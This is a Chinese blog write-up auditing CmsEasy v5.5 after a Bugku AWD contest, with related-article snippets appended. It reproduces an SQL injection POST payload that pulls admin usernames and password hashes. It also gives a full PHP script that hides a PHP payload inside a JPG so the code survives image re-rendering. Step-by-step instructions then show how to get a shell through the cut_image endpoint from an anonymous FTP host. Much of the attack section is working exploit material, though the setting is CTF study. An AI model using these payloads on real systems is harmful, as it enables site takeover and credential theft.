当前位置: 首页 > news >正文

easycms v5.5 分析 | Bugku S3 AWD排位赛

前言

这个awd打的悲,后台默认用户名密码为admin:admin,但是几乎所有人都改了

而且一进去看到这个cms就有点懵逼,都不知道这个cms是干嘛的(没用过相似的cms)

虽然网上找出了很多相关的漏洞,但是不知道为什么一个都没用上,或者说是用不了

所以现在来审计一下这个cms

根据里面的注释我得出是 v5.5 的版本(虽然不知道有没有经过bugku的魔改)
在这里插入图片描述
不过上面说的版权倒是给我整不会了,有没有专业人士说说我这个研究算不算破解,反正网上挺多的
而且bugku也对其进行过修改(awd的时候index.php加了个后门)

路由分析

我进入后台admin的时候会自动跳转到 index.php?case=admin&act=login&admin_dir=admin&site=default
据我的经验,这里用的是参数作为路由

case=admin		# 指定类
act=login		# 指定类方法
admin_dir=admin
site=default

一切都是由 lib\tool\front_class.php 中的 front 作为引导
index.php
在这里插入图片描述

进入该类,找到dispatch函数
在这里插入图片描述
method_exists 是 PHP 中的一个内置函数,用于检查一个类是否包含某个指定的方法(成员函数)。

也就是说 $case 指定类, $method 指定该类的方法

在这里插入图片描述

case: admin_act
method: login_action

而这两个值都由请求参数 case 和 act 决定
但是这个类的路径在何处呢,我们继续追踪

在 method_exists 的上面,case已经被new过了,当new的时候找不到类时,就触发了 __autoload 方法
在这里插入图片描述
在这里插入图片描述
最后类的路径是 lib/admin/admin_act.php
为什么会找到这个地方的类,
在这里插入图片描述
set_include_path 可以设置文件包含时的路径,这里设置了 /lib/admin ,而该方法在 front 的初始化函数就被执行过了

被设置的路径在index.php 中也被设置过
在这里插入图片描述

set_include_path(ROOT.'/lib/default'.PATH_SEPARATOR.ROOT.'/lib/plugins'.PATH_SEPARATOR.ROOT.'/lib/tool'.PATH_SEPARATOR.ROOT.'/lib/table'.PATH_SEPARATOR.ROOT.'/lib/inc');

也就是参数路由的执行函数都在 lib 文件夹中找

后台登录分析

既然知道了路由规则,那么现在看看是否能通过注入到达后端

首先通过审计代码我们知道一共有三处过滤,第一个是new front的时候 __construct中的过滤

index.php
在这里插入图片描述

lib\tool\front_class.php
在这里插入图片描述
这里直接对所有GET参数的username过滤了单双引号导致最后的sql语句无法被闭合,现在我还是没想到怎么绕过这里,

第一个也是 front中 __construct中的过滤
在这里插入图片描述
这里先判断php是否会自动转义引号,这里我有必要解释一下

get_magic_quotes_gpc 是一个 PHP 函数,它在旧版本的 PHP(PHP 5.4 之前)中可用。它用于检查 PHP 配置中是否启用了"魔术引号"(Magic Quotes)功能。魔术引号是 PHP 中引入的一个功能,用于自动转义传入数据中的字符(例如,来自表单提交或外部来源的数据),以帮助防止 SQL 注入和其他安全漏洞。

如果启用了魔术引号(get_magic_quotes_gpc() 返回 1 或 true),PHP 会自动在 $_GET、$_POST、$_COOKIE 和 $_REQUEST 数组中的传入数据添加转义斜杠(\)。这种转义是为了使数据在 SQL 查询中使用时更安全。

如果禁用了魔术引号(get_magic_quotes_gpc() 返回 0 或 false),PHP 不会自动添加转义斜杠

然而,魔术引号存在许多问题,本函数已自 PHP 7.4.0 起弃用,自 PHP 8.0.0 起移除

回到正题,从上面的代码看出,上面的代码对所有请求的参数都进行了引号转义导致注入困难

第三处过滤
在该路由中获取数据处,根据前面的规则,找打该路由
lib\admin\admin_act.php
在这里插入图片描述

$user=$user->getrow(array('username'=>front::post('username'),'password'=>md5(front::post('password'))));

这里传递的是一个有键值的字典

一直跟进
lib\inc\table.php
在这里插入图片描述
key进行了html实体的转义
对key和value都进行了关键字过滤

从这三处过滤,我觉得过滤字符串我还是没啥头绪,急需指点

celive sql注入

我在一篇文章中找到了sql注入的点
https://vulners.com/seebug/SSV:94004

但是我在里面并没有注入成功,所以我研究起了代码

文章给出的exp是这样的

链接:
http://localhost/CmsEasy_5.5_UTF-8_20140718/celive/live/header.php
POST:
xajax=LiveMessage&xajaxargs[0][name]=1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select concat(username,0x23,password) from cmseasy_user where groupid=2 limit 1))a from information_schema.tables group by a)b),'','','','1','127.0.0.1','2')#

文章说没有过滤,但是我在调试时发现引号被 addslashes 过滤
体现在 celive\include\common.inc.php
在这里插入图片描述
文章第一个漏洞处体现在 celive\include\xajax.inc.php
在这里插入图片描述

文件上传漏洞

分析

这是在一篇文章看到的
https://www.cnblogs.com/yx20145312/p/7020516.html

起初按照他的做法,确实可以上传文件,而且后缀也是php
但是…
最终也是执行失败了,而且根本找不到图片中我设定的 "马"

最后通过我仔细的源码审计我发现…
在这里插入图片描述
这里作者将分割符 & 都打成两个不一样的字符,复制上去能用才有鬼

而且参数是根据自己的远程图片的信息来定的,而就是说这些参数都是变量,都是根据图片自身来设定,不能完全照抄

所以我们重新来审计一下全过程


漏洞点在 index.php?case=tool&act=cut_image

而根据路由规则, 这个文件在 tool_act.php 中tool_act 类的 cut_image_action 方法

此漏洞利用需要布置一个ftp服务器,并且需要可以匿名登录,在匿名用户的目录放置一个图片马
在window搭建你可以参考这篇文章 https://www.cnblogs.com/yx20145312/p/7020516.html
也可以在网上寻找答案

先说一个这个api是干嘛的,这样才能更好理解漏洞的成因

通过代码的分析,发现其是一个裁剪图片的功能, 至于作者设计时是不是开放远程还是只针对本地图片我们就不得而知了

POST : index.php?case=tool&act=cut_imagepic=test.png
w=2		# 输出图像的宽
h=2		# 输出图像的高
x1=0	# 输入图像的 x 轴
y1=0	 # 输入图像的 y 轴
x2=700	# 输入图像的另一个 x 轴
y2=1120	# 输入图像的另一个 y 轴

简单来说, x1,y1,x2,y2 决定了源图像的大小和位置,而 pic 是我们输入的图片
这里给出一次请求
在这里插入图片描述

源图片是这样的
在这里插入图片描述

而裁剪后是这样的
在这里插入图片描述

也就是说

w=100
h=100
x1=0
y1=0
x2=300
y2=300

在这里插入图片描述
将一个300 * 300 的图像(x1,y2,x2,y3指定),放入了100 * 100 的盒子里(w,h指定),结果就是等比例缩小了

那么现在看源码

在这里插入图片描述
如果base_url设置空(默认设置为空),那么len变量值就为 1
下面会判断 pic 参数是否为http,如果不是,就去掉开头为len长度的变量
比如 len如果为3 pic=123ftp://127.0.0.1 最后就会变成 pic=ftp://127.0.0.1

此时我们的len为1那么只需要在前面填上一个垃圾数据即可
pic=1ftp://127.0.0.1

在这里插入图片描述

$thumb->set(front::$post['thumb'],'jpg');

这里获取文件的一些信息

        $img=$thumb->create_image($thumb->im,$_POST['w'],$_POST['h'],0,0,$_POST['x1'],$_POST['y1'],$_POST['x2'] -$_POST['x1'],$_POST['y2'] -$_POST['y1']);

这里对图像继续裁剪返回一个裁剪后的图像
这里最终调用的函数其实是这个,你跟进也是能看到的,我的是排版了的
在这里插入图片描述

file_put_contents(ROOT.'/'.$save_file,ob_get_contents());

这里对输出裁剪后的图像进行保存

困惑

原本我以为到这已经结束了,没想到真正的后头戏现在才开始
我发现上传上去的图片马都被二次渲染了,原本的一句话早已经不见了踪影
原本的想法是先上传一张,然后对比裁剪后的看哪里相同,结果发现,根本没用…

直觉告诉我,问题就出在 ImageCopyResampled函数上
于是上网找到了方法
突破php 的imagecopyresampled 和imagecopyresized 实现图片马 JPG

但是…
在这里插入图片描述
这个脚本告诉我,他失败了
于是, 我再次遨游于网络的海洋
功夫不负有心人!上文章
CmsEasy前台无限制GetShell【Getshell的补充说明】

在这里插入图片描述
博客上说,传递图片的时候不能带路径,也就是说必须于脚本同一个目录才能生效

这里说下如何使用脚本
脚本

<?php/*The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformationscaused by PHP functions imagecopyresized() and imagecopyresampled().It is necessary that the size and quality of the initial image are the same as those of the processedimage.1) Upload an arbitrary image via secured files upload script2) Save the processed image and launch:php jpg_payload.php <jpg_name.jpg>In case of successful injection you will get a specially crafted image, which should be uploaded again.Since the most straightforward injection method is used, the following problems can occur:1) After the second processing the injected data may become partially corrupted.2) The jpg_payload.php script outputs "Something's wrong".If this happens, try to change the payload (e.g. add some symbols at the beginning) or try anotherinitial image.Sergey Bobrov @Black2Fan.See also:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/*/$miniPayload = '<?php phpinfo();?>';   # 这里写入一句话if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {die('php-gd is not installed');}print_r($argv);// exit;if(!isset($argv[1])) {die('php jpg_payload.php <jpg_name.jpg>');}set_error_handler("custom_error_handler");for($pad = 0; $pad < 1024; $pad++) {$nullbytePayloadSize = $pad;$dis = new DataInputStream($argv[1]);$outStream = file_get_contents($argv[1]);$extraBytes = 0;$correctImage = TRUE;if($dis->readShort() != 0xFFD8) {die('Incorrect SOI marker');}while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {$marker = $dis->readByte();$size = $dis->readShort() - 2;$dis->skip($size);if($marker === 0xDA) {$startPos = $dis->seek();$outStreamTmp =substr($outStream, 0, $startPos) .$miniPayload .str_repeat("\0",$nullbytePayloadSize) .substr($outStream, $startPos);checkImage('_'.$argv[1], $outStreamTmp, TRUE);if($extraBytes !== 0) {while((!$dis->eof())) {if($dis->readByte() === 0xFF) {if($dis->readByte !== 0x00) {break;}}}$stopPos = $dis->seek() - 2;$imageStreamSize = $stopPos - $startPos;$outStream =substr($outStream, 0, $startPos) .$miniPayload .substr(str_repeat("\0",$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes) .substr($outStream, $stopPos);} elseif($correctImage) {$outStream = $outStreamTmp;} else {break;}if(checkImage('payload_'.$argv[1], $outStream)) {die('Success!');} else {break;}}}}unlink('payload_'.$argv[1]);die('Something\'s wrong');function checkImage($filename, $data, $unlink = FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage = TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;}function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage = FALSE;if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {if(isset($m[1])) {$extraBytes = (int)$m[1];}}}class DataInputStream {private $binData;private $order;private $size;public function __construct($filename, $order = false, $fromString = false) {$this->binData = '';$this->order = $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die('File not exists ['.$filename.']');$this->binData = file_get_contents($filename);} else {$this->binData = $filename;}$this->size = strlen($this->binData);}public function seek() {return ($this->size - strlen($this->binData));}public function skip($skip) {$this->binData = substr($this->binData, $skip);}public function readByte() {if($this->eof()) {die('End Of File');}$byte = substr($this->binData, 0, 1);$this->binData = substr($this->binData, 1);return ord($byte);}public function readShort() {if(strlen($this->binData) < 2) {die('End Of File');}$short = substr($this->binData, 0, 2);$this->binData = substr($this->binData, 2);if($this->order) {$short = (ord($short[1]) << 8) + ord($short[0]);} else {$short = (ord($short[0]) << 8) + ord($short[1]);}return $short;}public function eof() {return !$this->binData||(strlen($this->binData) === 0);}}
?>

需要先上传图片 (需要jpg图片,这里我改了后缀,其实改不改都可以,最后要给脚本传递jpg的图片)
在这里插入图片描述
然后把上传上去的图片下载下来作为脚本的参数

然后将图片放在与脚本同一目录下

php payload.php 1694764156416.jpg

然后会在目录下生成一张图片马
在把这个图片马上传上去 (我的其他参数没动)

在这里插入图片描述
访问下图片马
在这里插入图片描述
别的不说,NB

exp

这里总结一下大概步骤
先准备一张 jpg 类型的图片,然后上传到cmseasy,然后下载下来那张上传后的图片(此时这张图片不是原来那张了,而是经过了二次渲染)
将图片给脚本执行(需要与脚本同一目录),payload执行的语句可以在脚本中修改
将脚本生成的图片再上传上去,访问执行

相关文章:

easycms v5.5 分析 | Bugku S3 AWD排位赛

前言 这个awd打的悲&#xff0c;后台默认用户名密码为admin:admin&#xff0c;但是几乎所有人都改了 而且一进去看到这个cms就有点懵逼&#xff0c;都不知道这个cms是干嘛的&#xff08;没用过相似的cms&#xff09; 虽然网上找出了很多相关的漏洞&#xff0c;但是不知道为什…...

成都营运《乡村振兴战略下传统村落文化旅游设计》许少辉八一著作

成都营运《乡村振兴战略下传统村落文化旅游设计》许少辉八一著作...

创邻科技Galaxybase助力SPG推动知识图谱应用落地

1. 知识图谱实践应用&#xff1a;从理论到落地的全景视角 知识图谱&#xff0c;作为一种先进的数据模型和信息表示策略&#xff0c;极大地提升了信息检索与分析的能力。该模型利用图结构&#xff0c;将不同领域、层次和类别的信息有机整合&#xff0c;令复杂的数据关系变得清晰…...

《TCP/IP网络编程》阅读笔记--域名及网络地址

目录 1--域名系统 2--域名与 IP 地址的转换 2-1--利用域名来获取 IP 地址 2-2--利用 IP 地址获取域名 3--代码实例 3-1--gethostbyname() 3-2--gethostbyaddr() 1--域名系统 域名系统&#xff08;Domain Name System&#xff0c;DNS&#xff09;是对 IP 地址和域名进行相…...

我的C#基础

using System; namespace HelloWorldApplication }TOC 欢迎使用Markdown编辑器 你好&#xff01; 这是你第一次使用 Markdown编辑器 所展示的欢迎页。 为帮助您在CSDN创作的文章获得更多曝光和关注&#xff0c;我们为您提供了专属福利&#xff1a; 已注册且未在CSDN平台发布过…...

【UnityShaderLab实现“Billboard“始终面向相机_播放序列图的效果_案例分享(内附源码)】

"Billboard"始终面向相机 Shader "billboard" {Properties{_MainTex ("Main Tex", 2D) = "white" {}_Color (...

Ceph入门到精通-S3 基准测试工具warp使用入门

S3 基准测试工具。 下载 下载适用于各种平台的二进制版本。 配置 可以使用命令行参数或环境变量配置 Warp。 可以使用 、 在命令行上指定要使用的 S3 服务器&#xff0c;也可以选择指定 TLS 和自定义区域。--host--access-key--secret-key--tls--region 也可以使用 、、 和…...

Docker--未完结

一.Docker是干什么的 在没亲自使用过之前&#xff0c;再多的术语也仅仅是抽象&#xff0c;只有写的人或者使用过的人能看懂。 所以&#xff0c;作为新手来说&#xff0c;只要知道Docker是用于部署项目就够了&#xff0c;下面展示如何用Docker部署项目及Docker常用命令。 二、…...

string的使用和模拟实现

&#x1f493;博主个人主页:不是笨小孩&#x1f440; ⏩专栏分类:数据结构与算法&#x1f440; C&#x1f440; 刷题专栏&#x1f440; C语言&#x1f440; &#x1f69a;代码仓库:笨小孩的代码库&#x1f440; ⏩社区&#xff1a;不是笨小孩&#x1f440; &#x1f339;欢迎大…...

基础算法---区间合并

直接上题目,不废话! 题目 给定 n 个区间 [l,r]&#xff0c;要求合并所有有交集的区间。 注意如果在端点处相交&#xff0c;也算有交集。 输出合并完成后的区间个数。 例如&#xff1a;[1,3] 和 [2,6] 可以合并为一个区间 [1,6]。 输入格式 第一行包含整数 n。 接下来 n 行&am…...

C++(day4)

思维导图 封装Mystring #include <iostream> #include<cstring>using namespace std;class Mystring{ public://无参构造函数Mystring():size(10){strnew char[size];strcpy(str,"");cout<<"无参构造函数"<<endl;}//有参构造函数…...

docker 部署 node.js(express) 服务

1、在 express 项目根目录下新增 Dockerfile 文件&#xff0c;内容如下&#xff1a; 创建服务容器的方法&#xff0c;可以根据自己的情况选择&#xff1a; 1、以下示例为宿主机没有安装 node 环境的写法&#xff1b; 2、先在本地构建包含 node 和 express 的基础镜像&#xff0…...

商城系统开发,如何确保用户数据的安全性?

确保用户数据的安全性是商城系统开发中至关重要的一项任务。随着数字化时代的到来&#xff0c;用户的个人信息和交易数据已成为黑客和不法分子的重要目标&#xff0c;因此保护用户数据的安全性对于商城系统的成功运营至关重要。在开发商城系统时&#xff0c;以下几个方面是确保…...

黑客必备工具Kali Linux,安装与使用教程全包含,从入门到精通,全网最详细全面的Kali Linux教程

Kali Linux是一个高级渗透测试和安全审计Linux发行版&#xff0c;目前可以说是网络安全人员的专用系统。 Kali Linux功能非常强大&#xff0c;能够进行信息取证、渗透测试、攻击WPA / WPA2保护的无线网络、离线破解哈希密码、将android、Java、C编写的程序反编译成代码等等&am…...

2024滴滴校招面试真题汇总及其讲解(二)

4.【基础题】HashMap了解吗?介绍一下它对应的线程安全版本。 HashMap 是 Java 中一种键值对映射的集合,它使用哈希表来存储键值对。HashMap 具有插入和删除元素效率高的优势,但不是线程安全的。 ConcurrentHashMap 是 Java 中一种线程安全的 HashMap,它使用分段锁来保证线…...

嵌入式-C语言中的if语句

目录 一.if语句介绍 二.案例实操 2.1C语言运行模板代码 2.2运行方法 2.3案例 一.if语句介绍 if判断语句是一种用于根据条件来进行条件分支的控制流语句。通过判断一个条件的真假来决定执行不同的代码块。if语句的基本语法如下&#xff1a;if (条件表达式) {// 如果条件为…...

组合数 rust解法

组合数。 编写函数&#xff0c;参数是两个非负整数n和m&#xff0c;返回组合数 C n m C_n^m Cnm​&#xff0c;其中m≤n≤25。 例如&#xff0c;n25&#xff0c;m12时答案为5200300。 解法&#xff1a; fn c(n: u32, m: u32)->u64 {let m if m > n-m {n-m}else{m};le…...

【SpringMVC】自定义注解与AOP结合使用

目录 一、SpringMVC之自定义注解 1.1 Java注解简介 1.2 为什么要用注解 1.3 注解的分类 ⭐ 1.3.1 JDK基本注解 1.3.2 JDK元注解 1.3.3 自定义注解 1.4 自定义注解三种使用案例 1.4.1 案例一&#xff08;获取类与方法上的注解值&#xff09; 1.4.2 案例二&#xff0…...

MyEclipse 用tomcat部署SSM项目后,项目名称和当前项目不一致

MyEclipse 用tomcat部署SSM项目后&#xff0c;项目成功启动&#xff0c;但是访问所有接口报404 从这里可以看到&#xff0c;部署的项目名为accurate_sugar_control_yc_api&#xff0c;但实际我们项目名字应该为accurate_sugar_control_otc_api 解决办法 在本地找到项目的根目…...

来喽!!炒鸡详细的“数据在内存中的存储”真的来喽!

目录​​​​​​​ 1. 整数在内存中的存储 1.1 ⼆进制介绍 1.1.1 2进制转10进制 1.1.2 10进制转2进制 1.1.3 2进制转8进制 1.1.4 2进制转16进制 1.2 原码、反码、补码 2. ⼤⼩端字节序和字节序判断 2.1 什么是⼤⼩端&#xff1f; 2.2 为什么有⼤⼩端? 2.3 练习 …...

【面试经典150 | 双指针】验证回文串

文章目录 写在前面Tag题目来源题目解读解题思路方法一&#xff1a;筛选判断方法二&#xff1a;原地判断 知识回顾回文串双指针字符串操作 写在最后 写在前面 本专栏专注于分析与讲解【面试经典150】算法&#xff0c;两到三天更新一篇文章&#xff0c;欢迎催更…… 专栏内容以分…...

sql存储引擎

-- 查询建表语句 --可以查看引擎 show create table account; -- 可以看到默认引擎 InnoDB ENGINEInnoDB -- 查看当前数据库支持得存储引擎 show engines ; # InnoDB 默认 存储引擎 # MyISAM sql早期默认 存储引擎 # MEMORY 存储在内存中 用来做临时表和缓存 存储引擎 …...

Visual Studio 2022安装SVN插件教程

1. 第一步&#xff1a;避免踩坑&#xff0c;超级重要&#xff01;&#xff01;&#xff01;关闭Visual Studio 2022应用程序&#xff1b;&#xff08;不然插件装不上&#xff0c;一直转圈&#xff01;&#xff09; 2.第二步&#xff1a;下载Visual Studio 2022版本对应的SVN插件…...

【PyCharm Community Edition】:串口开发

串口开发 安装模块&#xff1a;pyserial端口检查&#xff1a;uartDevice自定义文件&#xff1a;SerialMonitor.py导入自定义文件&#xff1a;SerialMonitor.py延伸阅读 安装模块&#xff1a;pyserial Pyserial 是 Python 中使用串口通信的一个第三方库&#xff0c;使用它可以方…...

亲测可用!!!Centos7安装chrome+chromedriver以便实现selenium自动化详细教程

网上很多教程都是在线安装chrome&#xff0c;这样安装了最新稳定的chrome&#xff0c;可惜我遇到chromdriver的版本跟上 chrome&#xff0c;为了早日实现在centos服务selenium自动化&#xff0c;不可能去等待 chromdriver 更新&#xff0c;只能 chrome进行降版本来离线安装。花…...

spring cloud、gradle、父子项目、微服务框架搭建---cloud gateway(十)

总目录 https://preparedata.blog.csdn.net/article/details/120062997 文章目录 总目录一、简介二、order、pay服务 配置context-path三、新建gateway网关服务&#xff08;1&#xff09; 启动类添加 SpringCloudApplication 即可&#xff08;2&#xff09; application.yml 配…...

AD22使用笔记+积累库

一、前言 使用AD9习惯了&#xff0c;但是需求逐渐上来了就不够用了&#xff0c;好多快捷的新功能要新版本软件才能用&#xff0c;所以升级使用AD22 目录 1.添加层之后中间层无法布线 2.新增快捷方式CtrlW布线&#xff0c;不用点图标了 二、环境 AD22 三、正文 1.添加层之…...

20230912在ubuntu18.04下使用pigz来提高tar命令压缩解压缩的速度

20230912在ubuntu18.04下使用pigz来提高tar命令压缩解压缩的速度 2023/9/15 22:19 https://blog.csdn.net/wb4916/article/details/128447298 20221226编译Toybrick的TB-RK3588X开发板的Android12系统2-SDK预处理 4、单线程压缩。 建议使用&#xff1a;pigz多线程压缩&#xf…...

python-xpath语法-爬取彼岸图4k高清动漫壁纸

安装 pip install lxml导入 from lxml import etreexpath使用路径表达式提取html文档中的元素或元素集&#xff0c;然后元素通过沿路径path或步steps来选取数据 XPath常用语法格式 表达式描述div选取div元素的所有子元素/div选取根元素divul//li选取ul元素下的所有li子元素…...

韩信点兵:求韩信一共有多少兵

任务描述 本关任务&#xff1a;求韩信一共有多少兵。 韩信有一队兵&#xff0c;他想知道有多少人&#xff0c;便让士兵排队报数。 按从 1 至5报数&#xff0c;最末一个士兵报的数为 1&#xff1b; 按从 1 至 6 报数&#xff0c;最末一个士兵报的数为 5&#xff1b; 按从 1 …...

营销型网站制作多少钱/google推广seo

&#xff0c;神经网络是一种模拟人脑的神经网络&#xff0c;以期能够实现类人工智能的机器学习技术。 一.预测器和分类器 1.什么叫预测器:一个简单的机器接受了一个输入&#xff0c;并做出应有的预测&#xff0c;输出结果&#xff0c;所以我们将其称为预测器。 2.什么叫分类器:…...

外贸客户开发的渠道有哪些/狼雨的seo教程

一、break和continue的区别 break&#xff1a;直接跳出当前循环或者一个switch语句。如果你的循环是嵌套的&#xff0c;需要逐步使用break跳出。 for(var b1;b<20;b){if(b>11){break;}document.writeln(b);} //输出1-11以上代码 &#xff0c;在b12的时候就结…...

护肤品 网站建设策划书/网络热词英语

里程碑是每一个项目开发过程中的检查点&#xff0c;是项目监控的有效措施之一。但是&#xff0c;一个项目究竟设置几个里程碑才合适呢&#xff1f;这个问题可能困扰着很多在工作中需要通过项目达成目标而又非专业的项目管理人士。今天就带您了解一下关于项目里程碑的知识点。 在…...

网站点击量查询/经典软文

导读Distributed Replicated Block Device(DRBD)是一个用软件实现的、无共享的、服务器之间镜像块设备内容的存储复制解决方案。数据镜像&#xff1a;实时、透明、同步&#xff08;所有服务器都成功后返回&#xff09;、异步&#xff08;本地服务器成功后返回&#xff09;。DRB…...

网站开发中效率较高的编程语言/营销型网站推广

1. 图的表示有几种方法&#xff1a; 一是使用邻接矩阵&#xff08;其实就是二维数组&#xff09;表示&#xff0c;二是使用邻接表来表示 &#xff0c;三是使用边集来表示 下面使用邻接表来表示 2. 首先定义一个图的节点&#xff0c;其中包含几个属性&#xff0c;包含图节点…...

wordpress 搜索框 404/宿州百度seo排名软件

函数嵌套示例 def outer():def inner():print(inner)print(outer)inner() outer() inner() # 此句会出错 函数有可见范围&#xff0c;这就是作用域的概念 内部函数不能被外部直接使用&#xff0c;会抛NameError异常 def outer():def inner():print(inner)print(outer)retur…...